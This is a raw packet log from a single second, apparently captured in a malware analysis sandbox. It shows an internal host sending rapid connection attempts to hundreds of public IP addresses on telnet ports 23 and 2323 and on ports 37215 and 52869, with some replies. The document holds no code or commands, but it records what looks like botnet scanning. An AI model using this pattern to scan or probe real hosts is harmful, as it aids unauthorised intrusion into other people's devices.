Dec 4, 2024 20:34:28.872056007 CET	2323	60787	111.203.162.122	192.168.2.14
Dec 4, 2024 20:34:28.872064114 CET	60787	23	192.168.2.14	18.201.2.98
Dec 4, 2024 20:34:28.872087002 CET	23	60787	185.7.177.72	192.168.2.14
Dec 4, 2024 20:34:28.872087955 CET	60787	2323	192.168.2.14	111.203.162.122
Dec 4, 2024 20:34:28.872111082 CET	23	60787	216.217.69.150	192.168.2.14
Dec 4, 2024 20:34:28.872117043 CET	60787	23	192.168.2.14	185.7.177.72
Dec 4, 2024 20:34:28.872148037 CET	60787	23	192.168.2.14	216.217.69.150
Dec 4, 2024 20:34:28.872294903 CET	23	60787	32.26.226.115	192.168.2.14
Dec 4, 2024 20:34:28.872304916 CET	23	60787	18.23.6.211	192.168.2.14
Dec 4, 2024 20:34:28.872313976 CET	23	60787	104.4.207.41	192.168.2.14
Dec 4, 2024 20:34:28.872328043 CET	23	60787	133.122.98.172	192.168.2.14
Dec 4, 2024 20:34:28.872332096 CET	60787	23	192.168.2.14	32.26.226.115
Dec 4, 2024 20:34:28.872334003 CET	60787	23	192.168.2.14	18.23.6.211
Dec 4, 2024 20:34:28.872337103 CET	23	60787	176.201.141.246	192.168.2.14
Dec 4, 2024 20:34:28.872345924 CET	60787	23	192.168.2.14	104.4.207.41
Dec 4, 2024 20:34:28.872359037 CET	60787	23	192.168.2.14	133.122.98.172
Dec 4, 2024 20:34:28.872359037 CET	60787	23	192.168.2.14	176.201.141.246
Dec 4, 2024 20:34:28.872471094 CET	23	60787	163.43.135.223	192.168.2.14
Dec 4, 2024 20:34:28.872503996 CET	60787	23	192.168.2.14	163.43.135.223
Dec 4, 2024 20:34:28.872514963 CET	23	60787	167.50.240.55	192.168.2.14
Dec 4, 2024 20:34:28.872525930 CET	23	60787	107.46.144.238	192.168.2.14
Dec 4, 2024 20:34:28.872549057 CET	23	55196	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:28.872550011 CET	60787	23	192.168.2.14	167.50.240.55
Dec 4, 2024 20:34:28.872558117 CET	60787	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:28.872592926 CET	55196	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:28.872637033 CET	60787	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:28.872637987 CET	60787	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:28.872639894 CET	60787	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:28.872642040 CET	60787	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:28.872648001 CET	60787	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:28.872649908 CET	60787	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:28.872649908 CET	60787	23	192.168.2.14	113.207.22.148
Dec 4, 2024 20:34:28.872649908 CET	60787	23	192.168.2.14	114.23.223.207
Dec 4, 2024 20:34:28.872665882 CET	60787	23	192.168.2.14	141.248.103.179
Dec 4, 2024 20:34:28.872668028 CET	60787	2323	192.168.2.14	211.197.122.64
Dec 4, 2024 20:34:28.872670889 CET	60787	23	192.168.2.14	66.98.26.232
Dec 4, 2024 20:34:28.872673035 CET	60787	23	192.168.2.14	85.85.123.234
Dec 4, 2024 20:34:28.872673988 CET	60787	23	192.168.2.14	57.176.245.31
Dec 4, 2024 20:34:28.872675896 CET	60787	23	192.168.2.14	219.125.33.139
Dec 4, 2024 20:34:28.872675896 CET	60787	23	192.168.2.14	185.128.213.0
Dec 4, 2024 20:34:28.872682095 CET	60787	23	192.168.2.14	117.142.25.133
Dec 4, 2024 20:34:28.872700930 CET	60787	23	192.168.2.14	96.46.182.113
Dec 4, 2024 20:34:28.872703075 CET	60787	23	192.168.2.14	212.205.254.126
Dec 4, 2024 20:34:28.872709036 CET	60787	23	192.168.2.14	185.119.212.107
Dec 4, 2024 20:34:28.872714996 CET	60787	23	192.168.2.14	138.7.10.193
Dec 4, 2024 20:34:28.872714996 CET	60787	2323	192.168.2.14	45.8.186.44
Dec 4, 2024 20:34:28.872714996 CET	60787	23	192.168.2.14	107.201.103.154
Dec 4, 2024 20:34:28.872731924 CET	60787	23	192.168.2.14	74.217.84.92
Dec 4, 2024 20:34:28.872735023 CET	60787	23	192.168.2.14	119.50.92.246
Dec 4, 2024 20:34:28.872739077 CET	60787	23	192.168.2.14	220.255.225.54
Dec 4, 2024 20:34:28.872749090 CET	60787	23	192.168.2.14	178.255.249.13
Dec 4, 2024 20:34:28.872754097 CET	60787	23	192.168.2.14	57.128.27.216
Dec 4, 2024 20:34:28.872756004 CET	60787	23	192.168.2.14	220.75.6.209
Dec 4, 2024 20:34:28.872757912 CET	60787	23	192.168.2.14	71.19.140.212
Dec 4, 2024 20:34:28.872764111 CET	60787	23	192.168.2.14	91.214.95.170
Dec 4, 2024 20:34:28.872769117 CET	60787	2323	192.168.2.14	179.44.227.92
Dec 4, 2024 20:34:28.872771025 CET	60787	23	192.168.2.14	19.213.165.249
Dec 4, 2024 20:34:28.872783899 CET	60787	23	192.168.2.14	204.95.155.39
Dec 4, 2024 20:34:28.872790098 CET	60787	23	192.168.2.14	42.55.233.210
Dec 4, 2024 20:34:28.872791052 CET	60787	23	192.168.2.14	133.242.226.161
Dec 4, 2024 20:34:28.872791052 CET	60787	23	192.168.2.14	162.196.190.194
Dec 4, 2024 20:34:28.872793913 CET	60787	23	192.168.2.14	19.54.197.54
Dec 4, 2024 20:34:28.872811079 CET	60787	23	192.168.2.14	124.112.18.161
Dec 4, 2024 20:34:28.872811079 CET	60787	23	192.168.2.14	93.2.140.224
Dec 4, 2024 20:34:28.872817039 CET	60787	23	192.168.2.14	223.129.240.92
Dec 4, 2024 20:34:28.872817039 CET	60787	2323	192.168.2.14	204.183.224.76
Dec 4, 2024 20:34:28.872817993 CET	60787	23	192.168.2.14	64.236.2.183
Dec 4, 2024 20:34:28.872817039 CET	60787	23	192.168.2.14	40.94.179.241
Dec 4, 2024 20:34:28.872823954 CET	60787	23	192.168.2.14	182.99.245.29
Dec 4, 2024 20:34:28.872827053 CET	60787	23	192.168.2.14	113.62.6.105
Dec 4, 2024 20:34:28.872828960 CET	60787	23	192.168.2.14	124.50.138.6
Dec 4, 2024 20:34:28.872833967 CET	60787	23	192.168.2.14	182.229.212.145
Dec 4, 2024 20:34:28.872843027 CET	60787	23	192.168.2.14	112.247.16.214
Dec 4, 2024 20:34:28.872845888 CET	60787	23	192.168.2.14	159.195.180.114
Dec 4, 2024 20:34:28.872869968 CET	60787	23	192.168.2.14	123.74.34.52
Dec 4, 2024 20:34:28.872869968 CET	60787	2323	192.168.2.14	40.113.133.127
Dec 4, 2024 20:34:28.872875929 CET	60787	23	192.168.2.14	145.42.125.248
Dec 4, 2024 20:34:28.872886896 CET	60787	23	192.168.2.14	34.45.8.81
Dec 4, 2024 20:34:28.872893095 CET	60787	23	192.168.2.14	149.179.177.196
Dec 4, 2024 20:34:28.872896910 CET	60787	23	192.168.2.14	189.212.72.42
Dec 4, 2024 20:34:28.872899055 CET	60787	23	192.168.2.14	144.50.7.200
Dec 4, 2024 20:34:28.872899055 CET	60787	23	192.168.2.14	59.161.69.17
Dec 4, 2024 20:34:28.872900963 CET	60787	23	192.168.2.14	186.157.193.190
Dec 4, 2024 20:34:28.872900963 CET	60787	23	192.168.2.14	145.87.156.92
Dec 4, 2024 20:34:28.872900963 CET	60787	2323	192.168.2.14	107.33.185.6
Dec 4, 2024 20:34:28.872903109 CET	60787	23	192.168.2.14	193.85.179.71
Dec 4, 2024 20:34:28.872905016 CET	60787	23	192.168.2.14	175.34.129.87
Dec 4, 2024 20:34:28.872905016 CET	60787	23	192.168.2.14	197.62.100.0
Dec 4, 2024 20:34:28.872910976 CET	60787	23	192.168.2.14	61.194.161.33
Dec 4, 2024 20:34:28.872915983 CET	60787	23	192.168.2.14	68.224.136.15
Dec 4, 2024 20:34:28.872916937 CET	60787	23	192.168.2.14	192.223.103.254
Dec 4, 2024 20:34:28.872925997 CET	60787	23	192.168.2.14	189.137.218.95
Dec 4, 2024 20:34:28.872939110 CET	60787	23	192.168.2.14	156.127.210.84
Dec 4, 2024 20:34:28.872942924 CET	60787	23	192.168.2.14	139.218.75.50
Dec 4, 2024 20:34:28.872942924 CET	60787	23	192.168.2.14	123.42.52.47
Dec 4, 2024 20:34:28.872944117 CET	60787	23	192.168.2.14	72.154.96.157
Dec 4, 2024 20:34:28.872946978 CET	60787	2323	192.168.2.14	175.175.171.101
Dec 4, 2024 20:34:28.872947931 CET	60787	23	192.168.2.14	153.198.250.219
Dec 4, 2024 20:34:28.872951031 CET	60787	23	192.168.2.14	72.36.120.77
Dec 4, 2024 20:34:28.872960091 CET	60787	23	192.168.2.14	13.26.2.49
Dec 4, 2024 20:34:28.872961044 CET	60787	23	192.168.2.14	31.36.37.207
Dec 4, 2024 20:34:28.872961998 CET	60787	23	192.168.2.14	141.209.195.90
Dec 4, 2024 20:34:28.872961998 CET	60787	23	192.168.2.14	110.28.108.42
Dec 4, 2024 20:34:28.872972012 CET	60787	23	192.168.2.14	40.132.19.35
Dec 4, 2024 20:34:28.872981071 CET	60787	23	192.168.2.14	48.122.218.176
Dec 4, 2024 20:34:28.872981071 CET	60787	2323	192.168.2.14	109.251.11.213
Dec 4, 2024 20:34:28.872982025 CET	60787	23	192.168.2.14	117.46.19.178
Dec 4, 2024 20:34:28.872981071 CET	60787	23	192.168.2.14	163.227.214.105
Dec 4, 2024 20:34:28.872981071 CET	60787	23	192.168.2.14	34.148.52.52
Dec 4, 2024 20:34:28.872986078 CET	60787	23	192.168.2.14	75.174.24.86
Dec 4, 2024 20:34:28.872986078 CET	60787	23	192.168.2.14	102.105.205.136
Dec 4, 2024 20:34:28.872987032 CET	60787	23	192.168.2.14	20.135.240.201
Dec 4, 2024 20:34:28.872986078 CET	60787	23	192.168.2.14	95.163.86.185
Dec 4, 2024 20:34:28.872992992 CET	60787	23	192.168.2.14	144.6.212.125
Dec 4, 2024 20:34:28.872992992 CET	60787	23	192.168.2.14	133.154.207.255
Dec 4, 2024 20:34:28.872994900 CET	60787	2323	192.168.2.14	148.107.140.222
Dec 4, 2024 20:34:28.872996092 CET	60787	23	192.168.2.14	141.155.77.100
Dec 4, 2024 20:34:28.872998953 CET	60787	23	192.168.2.14	160.204.124.108
Dec 4, 2024 20:34:28.873013020 CET	60787	23	192.168.2.14	102.47.54.107
Dec 4, 2024 20:34:28.873018026 CET	60787	23	192.168.2.14	172.128.23.255
Dec 4, 2024 20:34:28.873020887 CET	60787	23	192.168.2.14	198.173.103.74
Dec 4, 2024 20:34:28.873022079 CET	60787	23	192.168.2.14	180.158.188.32
Dec 4, 2024 20:34:28.873023033 CET	60787	23	192.168.2.14	42.9.74.242
Dec 4, 2024 20:34:28.873032093 CET	60787	23	192.168.2.14	42.252.253.33
Dec 4, 2024 20:34:28.873038054 CET	60787	23	192.168.2.14	57.246.142.195
Dec 4, 2024 20:34:28.873039007 CET	60787	2323	192.168.2.14	92.97.0.131
Dec 4, 2024 20:34:28.873045921 CET	60787	23	192.168.2.14	109.51.33.17
Dec 4, 2024 20:34:28.873051882 CET	60787	23	192.168.2.14	184.33.238.126
Dec 4, 2024 20:34:28.873059034 CET	60787	23	192.168.2.14	2.156.36.146
Dec 4, 2024 20:34:28.873064995 CET	60787	23	192.168.2.14	109.177.218.70
Dec 4, 2024 20:34:28.873074055 CET	60787	23	192.168.2.14	195.32.249.195
Dec 4, 2024 20:34:28.873074055 CET	60787	23	192.168.2.14	84.250.225.233
Dec 4, 2024 20:34:28.873076916 CET	60787	23	192.168.2.14	151.238.161.99
Dec 4, 2024 20:34:28.873081923 CET	60787	23	192.168.2.14	102.193.151.45
Dec 4, 2024 20:34:28.873090982 CET	60787	2323	192.168.2.14	86.72.138.213
Dec 4, 2024 20:34:28.873100042 CET	60787	23	192.168.2.14	203.89.147.137
Dec 4, 2024 20:34:28.873100996 CET	60787	23	192.168.2.14	180.237.54.175
Dec 4, 2024 20:34:28.873102903 CET	60787	23	192.168.2.14	181.245.186.169
Dec 4, 2024 20:34:28.873109102 CET	60787	23	192.168.2.14	177.217.23.57
Dec 4, 2024 20:34:28.873109102 CET	60787	23	192.168.2.14	82.88.36.183
Dec 4, 2024 20:34:28.873111963 CET	60787	23	192.168.2.14	107.253.116.113
Dec 4, 2024 20:34:28.873119116 CET	60787	23	192.168.2.14	18.248.52.22
Dec 4, 2024 20:34:28.873127937 CET	60787	23	192.168.2.14	179.51.74.191
Dec 4, 2024 20:34:28.873135090 CET	60787	23	192.168.2.14	23.173.224.34
Dec 4, 2024 20:34:28.873135090 CET	60787	2323	192.168.2.14	20.249.167.223
Dec 4, 2024 20:34:28.873136044 CET	60787	23	192.168.2.14	125.119.245.145
Dec 4, 2024 20:34:28.873145103 CET	60787	23	192.168.2.14	222.33.171.79
Dec 4, 2024 20:34:28.873152018 CET	60787	23	192.168.2.14	195.66.222.48
Dec 4, 2024 20:34:28.873153925 CET	60787	23	192.168.2.14	118.85.38.226
Dec 4, 2024 20:34:28.873162031 CET	60787	23	192.168.2.14	172.216.123.186
Dec 4, 2024 20:34:28.873162985 CET	60787	23	192.168.2.14	76.47.116.175
Dec 4, 2024 20:34:28.873168945 CET	60787	23	192.168.2.14	103.25.89.141
Dec 4, 2024 20:34:28.873173952 CET	60787	23	192.168.2.14	160.121.136.57
Dec 4, 2024 20:34:28.873173952 CET	60787	23	192.168.2.14	39.196.147.85
Dec 4, 2024 20:34:28.873173952 CET	60787	23	192.168.2.14	142.115.21.208
Dec 4, 2024 20:34:28.873191118 CET	60787	2323	192.168.2.14	122.233.176.40
Dec 4, 2024 20:34:28.873191118 CET	60787	23	192.168.2.14	47.76.64.171
Dec 4, 2024 20:34:28.873200893 CET	60787	23	192.168.2.14	68.185.126.76
Dec 4, 2024 20:34:28.873202085 CET	60787	23	192.168.2.14	24.247.173.170
Dec 4, 2024 20:34:28.873204947 CET	60787	23	192.168.2.14	112.142.90.88
Dec 4, 2024 20:34:28.873207092 CET	60787	23	192.168.2.14	182.172.124.255
Dec 4, 2024 20:34:28.873209000 CET	60787	23	192.168.2.14	9.193.52.69
Dec 4, 2024 20:34:28.873226881 CET	60787	23	192.168.2.14	184.182.99.88
Dec 4, 2024 20:34:28.873228073 CET	60787	23	192.168.2.14	98.16.151.47
Dec 4, 2024 20:34:28.873229027 CET	60787	23	192.168.2.14	38.95.1.253
Dec 4, 2024 20:34:28.873229027 CET	60787	2323	192.168.2.14	141.56.73.114
Dec 4, 2024 20:34:28.873226881 CET	60787	23	192.168.2.14	169.97.39.112
Dec 4, 2024 20:34:28.873238087 CET	60787	23	192.168.2.14	100.239.123.37
Dec 4, 2024 20:34:28.873239994 CET	60787	23	192.168.2.14	23.31.166.156
Dec 4, 2024 20:34:28.873240948 CET	60787	23	192.168.2.14	66.60.194.17
Dec 4, 2024 20:34:28.873260975 CET	60787	23	192.168.2.14	163.45.45.76
Dec 4, 2024 20:34:28.873260975 CET	60787	23	192.168.2.14	9.248.130.194
Dec 4, 2024 20:34:28.873261929 CET	60787	23	192.168.2.14	44.42.180.219
Dec 4, 2024 20:34:28.873264074 CET	60787	23	192.168.2.14	153.224.233.182
Dec 4, 2024 20:34:28.873270035 CET	60787	23	192.168.2.14	159.54.163.196
Dec 4, 2024 20:34:28.873270988 CET	60787	23	192.168.2.14	116.110.128.227
Dec 4, 2024 20:34:28.873274088 CET	60787	23	192.168.2.14	184.250.145.43
Dec 4, 2024 20:34:28.873274088 CET	60787	2323	192.168.2.14	113.43.62.172
Dec 4, 2024 20:34:28.873275042 CET	60787	23	192.168.2.14	27.163.60.191
Dec 4, 2024 20:34:28.873284101 CET	60787	23	192.168.2.14	204.233.208.116
Dec 4, 2024 20:34:28.873284101 CET	60787	23	192.168.2.14	62.196.101.255
Dec 4, 2024 20:34:28.873285055 CET	60787	23	192.168.2.14	194.164.171.0
Dec 4, 2024 20:34:28.873289108 CET	60787	23	192.168.2.14	172.204.38.86
Dec 4, 2024 20:34:28.873289108 CET	60787	23	192.168.2.14	204.170.194.199
Dec 4, 2024 20:34:28.873297930 CET	60787	23	192.168.2.14	195.216.10.191
Dec 4, 2024 20:34:28.873717070 CET	41008	2323	192.168.2.14	203.20.182.112
Dec 4, 2024 20:34:28.874268055 CET	55474	23	192.168.2.14	199.72.243.77
Dec 4, 2024 20:34:28.874830961 CET	37570	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:28.875399113 CET	47842	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:28.875955105 CET	40164	23	192.168.2.14	66.163.41.22
Dec 4, 2024 20:34:28.876533031 CET	42090	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:28.877115011 CET	42170	23	192.168.2.14	90.222.115.123
Dec 4, 2024 20:34:28.877686977 CET	57020	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:28.878278971 CET	43288	2323	192.168.2.14	149.93.109.151
Dec 4, 2024 20:34:28.878849983 CET	49032	23	192.168.2.14	150.4.163.36
Dec 4, 2024 20:34:28.879426003 CET	52118	23	192.168.2.14	171.70.253.116
Dec 4, 2024 20:34:28.880001068 CET	46290	23	192.168.2.14	74.182.235.212
Dec 4, 2024 20:34:28.880573034 CET	34534	23	192.168.2.14	118.179.164.86
Dec 4, 2024 20:34:28.881105900 CET	50782	23	192.168.2.14	141.75.203.217
Dec 4, 2024 20:34:28.881674051 CET	48130	23	192.168.2.14	32.13.228.128
Dec 4, 2024 20:34:28.882235050 CET	42670	23	192.168.2.14	113.107.13.18
Dec 4, 2024 20:34:28.882802963 CET	44474	23	192.168.2.14	37.173.63.244
Dec 4, 2024 20:34:28.883383989 CET	39342	23	192.168.2.14	219.47.57.34
Dec 4, 2024 20:34:28.883959055 CET	47276	23	192.168.2.14	203.222.108.235
Dec 4, 2024 20:34:28.884538889 CET	60778	23	192.168.2.14	82.178.162.31
Dec 4, 2024 20:34:28.885108948 CET	58452	23	192.168.2.14	110.190.153.89
Dec 4, 2024 20:34:28.885663986 CET	46172	23	192.168.2.14	146.142.19.98
Dec 4, 2024 20:34:28.886236906 CET	60706	23	192.168.2.14	164.38.237.117
Dec 4, 2024 20:34:28.886785984 CET	60932	23	192.168.2.14	206.150.24.134
Dec 4, 2024 20:34:28.887347937 CET	37958	23	192.168.2.14	180.225.100.239
Dec 4, 2024 20:34:28.887598991 CET	23	42826	134.247.195.205	192.168.2.14
Dec 4, 2024 20:34:28.887636900 CET	42826	23	192.168.2.14	134.247.195.205
Dec 4, 2024 20:34:28.887902021 CET	39416	23	192.168.2.14	27.212.9.17
Dec 4, 2024 20:34:28.888469934 CET	47376	23	192.168.2.14	109.94.63.9
Dec 4, 2024 20:34:28.889055967 CET	42102	23	192.168.2.14	94.39.126.146
Dec 4, 2024 20:34:28.889635086 CET	45708	23	192.168.2.14	99.234.222.27
Dec 4, 2024 20:34:28.890203953 CET	55130	23	192.168.2.14	69.205.3.82
Dec 4, 2024 20:34:28.890804052 CET	51958	23	192.168.2.14	221.84.62.217
Dec 4, 2024 20:34:28.891372919 CET	39272	23	192.168.2.14	158.212.231.85
Dec 4, 2024 20:34:28.891870975 CET	2323	38294	220.162.160.45	192.168.2.14
Dec 4, 2024 20:34:28.891905069 CET	38294	2323	192.168.2.14	220.162.160.45
Dec 4, 2024 20:34:28.891966105 CET	36124	23	192.168.2.14	59.209.121.198
Dec 4, 2024 20:34:28.892544031 CET	43108	23	192.168.2.14	121.208.151.118
Dec 4, 2024 20:34:28.893156052 CET	52146	2323	192.168.2.14	200.208.163.244
Dec 4, 2024 20:34:28.893733978 CET	59746	23	192.168.2.14	82.14.186.157
Dec 4, 2024 20:34:28.894315958 CET	46874	23	192.168.2.14	86.216.250.111
Dec 4, 2024 20:34:28.894917965 CET	50522	23	192.168.2.14	27.9.100.255
Dec 4, 2024 20:34:28.895504951 CET	41956	23	192.168.2.14	149.217.166.225
Dec 4, 2024 20:34:28.896080971 CET	39478	23	192.168.2.14	154.147.49.100
Dec 4, 2024 20:34:28.896661043 CET	60524	23	192.168.2.14	100.137.94.31
Dec 4, 2024 20:34:28.897244930 CET	38386	23	192.168.2.14	155.173.151.212
Dec 4, 2024 20:34:28.897825956 CET	60026	23	192.168.2.14	206.223.56.156
Dec 4, 2024 20:34:28.898406982 CET	59796	23	192.168.2.14	42.200.16.161
Dec 4, 2024 20:34:28.899013996 CET	32938	23	192.168.2.14	166.21.100.118
Dec 4, 2024 20:34:28.899590015 CET	33458	23	192.168.2.14	80.202.155.43
Dec 4, 2024 20:34:28.900183916 CET	36838	23	192.168.2.14	188.45.136.245
Dec 4, 2024 20:34:28.900762081 CET	53824	23	192.168.2.14	170.76.147.12
Dec 4, 2024 20:34:28.901333094 CET	52118	23	192.168.2.14	73.177.34.175
Dec 4, 2024 20:34:28.901932955 CET	51664	23	192.168.2.14	142.94.55.104
Dec 4, 2024 20:34:28.902515888 CET	39416	23	192.168.2.14	163.21.119.83
Dec 4, 2024 20:34:28.903074026 CET	60804	23	192.168.2.14	184.52.45.59
Dec 4, 2024 20:34:28.903327942 CET	23	36822	156.103.166.118	192.168.2.14
Dec 4, 2024 20:34:28.903367043 CET	36822	23	192.168.2.14	156.103.166.118
Dec 4, 2024 20:34:28.903646946 CET	60948	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:28.904217958 CET	37816	23	192.168.2.14	18.201.2.98
Dec 4, 2024 20:34:28.904825926 CET	46706	2323	192.168.2.14	111.203.162.122
Dec 4, 2024 20:34:28.905405998 CET	58082	23	192.168.2.14	185.7.177.72
Dec 4, 2024 20:34:28.905996084 CET	40368	23	192.168.2.14	216.217.69.150
Dec 4, 2024 20:34:28.906569958 CET	53204	23	192.168.2.14	32.26.226.115
Dec 4, 2024 20:34:28.907157898 CET	36112	23	192.168.2.14	18.23.6.211
Dec 4, 2024 20:34:28.907773018 CET	48832	23	192.168.2.14	104.4.207.41
Dec 4, 2024 20:34:28.908374071 CET	52618	23	192.168.2.14	133.122.98.172
Dec 4, 2024 20:34:28.909007072 CET	46384	23	192.168.2.14	176.201.141.246
Dec 4, 2024 20:34:28.909604073 CET	41178	23	192.168.2.14	163.43.135.223
Dec 4, 2024 20:34:28.910181046 CET	53504	23	192.168.2.14	167.50.240.55
Dec 4, 2024 20:34:28.910788059 CET	43058	23	192.168.2.14	107.46.144.238
Dec 4, 2024 20:34:28.918629885 CET	59654	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:28.918632030 CET	45992	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:28.950737953 CET	37534	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:28.950738907 CET	34948	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:28.950741053 CET	39058	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:28.992835045 CET	2323	60787	123.10.228.214	192.168.2.14
Dec 4, 2024 20:34:28.992846012 CET	23	60787	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:28.992855072 CET	23	60787	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:28.992860079 CET	23	60787	74.195.113.28	192.168.2.14
Dec 4, 2024 20:34:28.992868900 CET	23	60787	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:28.992877960 CET	23	60787	122.227.79.71	192.168.2.14
Dec 4, 2024 20:34:28.992886066 CET	23	60787	113.207.22.148	192.168.2.14
Dec 4, 2024 20:34:28.992903948 CET	23	60787	114.23.223.207	192.168.2.14
Dec 4, 2024 20:34:28.992918968 CET	23	60787	141.248.103.179	192.168.2.14
Dec 4, 2024 20:34:28.992927074 CET	23	55196	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:28.993007898 CET	60787	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:28.993007898 CET	60787	23	192.168.2.14	113.207.22.148
Dec 4, 2024 20:34:28.993010998 CET	60787	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:28.993021011 CET	60787	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:28.993025064 CET	60787	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:28.993026018 CET	60787	23	192.168.2.14	114.23.223.207
Dec 4, 2024 20:34:28.993026972 CET	60787	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:28.993026972 CET	60787	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:28.993026972 CET	60787	23	192.168.2.14	141.248.103.179
Dec 4, 2024 20:34:28.993041039 CET	55196	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:28.993503094 CET	55432	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:28.994244099 CET	43968	2323	192.168.2.14	123.10.228.214
Dec 4, 2024 20:34:28.994947910 CET	33588	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:28.995645046 CET	49458	23	192.168.2.14	122.227.79.71
Dec 4, 2024 20:34:28.996354103 CET	59838	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:28.996995926 CET	49524	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:28.997662067 CET	35074	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:29.003618956 CET	23	39342	219.47.57.34	192.168.2.14
Dec 4, 2024 20:34:29.003671885 CET	39342	23	192.168.2.14	219.47.57.34
Dec 4, 2024 20:34:29.011190891 CET	23	39272	158.212.231.85	192.168.2.14
Dec 4, 2024 20:34:29.011234999 CET	39272	23	192.168.2.14	158.212.231.85
Dec 4, 2024 20:34:29.023574114 CET	23	60948	96.47.36.112	192.168.2.14
Dec 4, 2024 20:34:29.023742914 CET	60948	23	192.168.2.14	96.47.36.112
Dec 4, 2024 20:34:29.027715921 CET	2323	38294	220.162.160.45	192.168.2.14
Dec 4, 2024 20:34:29.027781963 CET	38294	2323	192.168.2.14	220.162.160.45
Dec 4, 2024 20:34:29.028192997 CET	38498	2323	192.168.2.14	220.162.160.45
Dec 4, 2024 20:34:29.038378000 CET	37215	59654	197.196.137.96	192.168.2.14
Dec 4, 2024 20:34:29.038434982 CET	59654	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:29.038496017 CET	59654	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:29.038527012 CET	60275	37215	192.168.2.14	156.139.144.163
Dec 4, 2024 20:34:29.038528919 CET	60275	37215	192.168.2.14	197.89.67.25
Dec 4, 2024 20:34:29.038539886 CET	60275	37215	192.168.2.14	41.38.243.88
Dec 4, 2024 20:34:29.038554907 CET	60275	37215	192.168.2.14	41.192.219.57
Dec 4, 2024 20:34:29.038558960 CET	60275	37215	192.168.2.14	197.27.134.206
Dec 4, 2024 20:34:29.038566113 CET	60275	37215	192.168.2.14	156.38.59.174
Dec 4, 2024 20:34:29.038567066 CET	60275	37215	192.168.2.14	197.150.119.33
Dec 4, 2024 20:34:29.038578987 CET	60275	37215	192.168.2.14	41.108.73.73
Dec 4, 2024 20:34:29.038579941 CET	60275	37215	192.168.2.14	197.111.143.191
Dec 4, 2024 20:34:29.038589001 CET	60275	37215	192.168.2.14	41.87.136.87
Dec 4, 2024 20:34:29.038590908 CET	60275	37215	192.168.2.14	197.245.227.241
Dec 4, 2024 20:34:29.038592100 CET	60275	37215	192.168.2.14	41.48.18.82
Dec 4, 2024 20:34:29.038625002 CET	60275	37215	192.168.2.14	197.253.247.10
Dec 4, 2024 20:34:29.038635969 CET	60275	37215	192.168.2.14	41.100.83.90
Dec 4, 2024 20:34:29.038640976 CET	60275	37215	192.168.2.14	156.230.136.183
Dec 4, 2024 20:34:29.038642883 CET	60275	37215	192.168.2.14	197.200.213.119
Dec 4, 2024 20:34:29.038649082 CET	60275	37215	192.168.2.14	197.122.1.173
Dec 4, 2024 20:34:29.038649082 CET	60275	37215	192.168.2.14	41.131.75.53
Dec 4, 2024 20:34:29.038654089 CET	60275	37215	192.168.2.14	197.107.255.125
Dec 4, 2024 20:34:29.038655996 CET	60275	37215	192.168.2.14	197.26.10.227
Dec 4, 2024 20:34:29.038660049 CET	60275	37215	192.168.2.14	197.110.64.205
Dec 4, 2024 20:34:29.038662910 CET	60275	37215	192.168.2.14	156.149.54.27
Dec 4, 2024 20:34:29.038664103 CET	60275	37215	192.168.2.14	156.109.4.58
Dec 4, 2024 20:34:29.038678885 CET	60275	37215	192.168.2.14	197.37.203.77
Dec 4, 2024 20:34:29.038681030 CET	60275	37215	192.168.2.14	156.191.56.140
Dec 4, 2024 20:34:29.038686037 CET	60275	37215	192.168.2.14	156.250.162.143
Dec 4, 2024 20:34:29.038686991 CET	60275	37215	192.168.2.14	197.84.114.46
Dec 4, 2024 20:34:29.038687944 CET	60275	37215	192.168.2.14	41.158.6.140
Dec 4, 2024 20:34:29.038691998 CET	60275	37215	192.168.2.14	41.115.102.127
Dec 4, 2024 20:34:29.038691998 CET	60275	37215	192.168.2.14	41.59.131.217
Dec 4, 2024 20:34:29.038695097 CET	60275	37215	192.168.2.14	156.186.10.157
Dec 4, 2024 20:34:29.038696051 CET	60275	37215	192.168.2.14	156.186.79.4
Dec 4, 2024 20:34:29.038697004 CET	60275	37215	192.168.2.14	197.64.134.157
Dec 4, 2024 20:34:29.038697004 CET	60275	37215	192.168.2.14	197.206.149.48
Dec 4, 2024 20:34:29.038702011 CET	60275	37215	192.168.2.14	41.36.154.42
Dec 4, 2024 20:34:29.038702965 CET	60275	37215	192.168.2.14	156.15.101.202
Dec 4, 2024 20:34:29.038707018 CET	60275	37215	192.168.2.14	156.191.27.193
Dec 4, 2024 20:34:29.038707972 CET	60275	37215	192.168.2.14	156.162.78.74
Dec 4, 2024 20:34:29.038712025 CET	60275	37215	192.168.2.14	156.168.218.30
